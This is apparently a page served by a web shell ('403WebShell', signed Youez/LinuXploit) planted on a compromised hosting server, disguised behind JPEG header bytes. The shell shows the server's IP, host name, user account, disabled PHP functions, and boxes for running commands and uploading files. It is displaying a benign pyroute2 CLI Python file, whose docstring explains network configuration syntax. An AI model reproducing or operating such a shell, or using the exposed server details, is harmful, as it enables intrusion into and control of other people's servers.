JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.204  /  Your IP : 216.73.217.1
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python311/lib/python3.11/site-packages/pyroute2/cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python311/lib/python3.11/site-packages/pyroute2/cli/__init__.py
'''
CLI provides a simple syntax to manipulate NDB. The syntax is the
same for the console and the http versions.

The first level of the hierarchy represents NDB views:

* interfaces -- network interfaces
* addresses -- IP addresses
* routes -- IP and MPLS routes, one record per NH
* neighbours -- ARP cache
* rules -- RPDB rules
* netns -- network namespaces
* vlans -- bridge VLAN filters

CLI supports indentation, though it is optional. A level up in the
indentation means a level up in the object hierarchy. Same effect
with `..` command.

An example script to create a bridge and a port, no indentation::

    ; comments start with ;
    interfaces
    create ifname br0, kind bridge
    address 00:11:22:33:44:55
    state up
    add_ip 192.168.123.21/24
    add_ip 192.168.123.22/24
    commit
    .. ; level up to the interfaces view
    create ifname br0p0, kind dummy
    state up
    master br0
    commit

Same script with indentation, no `..` needed::

    interfaces
        create ifname br0, kind bridge
            address 00:11:22:33:44:55
            state up
            add_ip 192.168.123.21/24
            add_ip 192.168.123.22/24
            commit
        create ifname br0p0, kind dummy
            state up
            master br0
            commit

Select objects::

    ; by name
    interfaces br0
        ; ...

    ; by spec
    interfaces
        {target netns01, ifname eth0}
            ; ...
        {address 00:11:22:33:44:55}
            ; ...




Manage interfaces
-----------------

Create::

    interfaces
        create ifname br0.100, kind vlan, vlan_id 100, link br0
            commit
        create ifname v0, kind veth, peer v0p
            commit

Change mac address::

    interfaces br0
        address 00:11:22:33:44:55
        commit

Change netns and rename::

    sources
        add netns test01
    interfaces
        v0p
            net_ns_fd test01
            commit
        {target test01, ifname v0p}
            ifname eth0
            commit
        summary | filter kind veth | select target, ifname | format json

Manage addresses
----------------

...

Manage routes
-------------

...

Generate reports
----------------

It is possible to modify the output of the dump or summary commands::

    interfaces
        ; print index, ifname and MAC address for UP interfaces
        dump | filter state up | select index, ifname, address

    routes
        ; output in JSON format
        summary | format json

The `format` command can only be the last in the sentence. Available
output filters:

filter { } -- filter out records
select { } -- output only selected record fields
format { } -- change the output format, possible values: csv, json

Wait for events
---------------

...

'''

t_stmt = 1
t_dict = 2
t_comma = 3
t_pipe = 4
t_end_of_dict = 7
t_end_of_sentence = 8
t_end_of_stream = 9


def change_pointer(f):
    f.__cli_cptr__ = True
    return f


def show_result(f):
    f.__cli_publish__ = True
    return f

Youez - 2016 - github.com/yon3zu
LinuXploit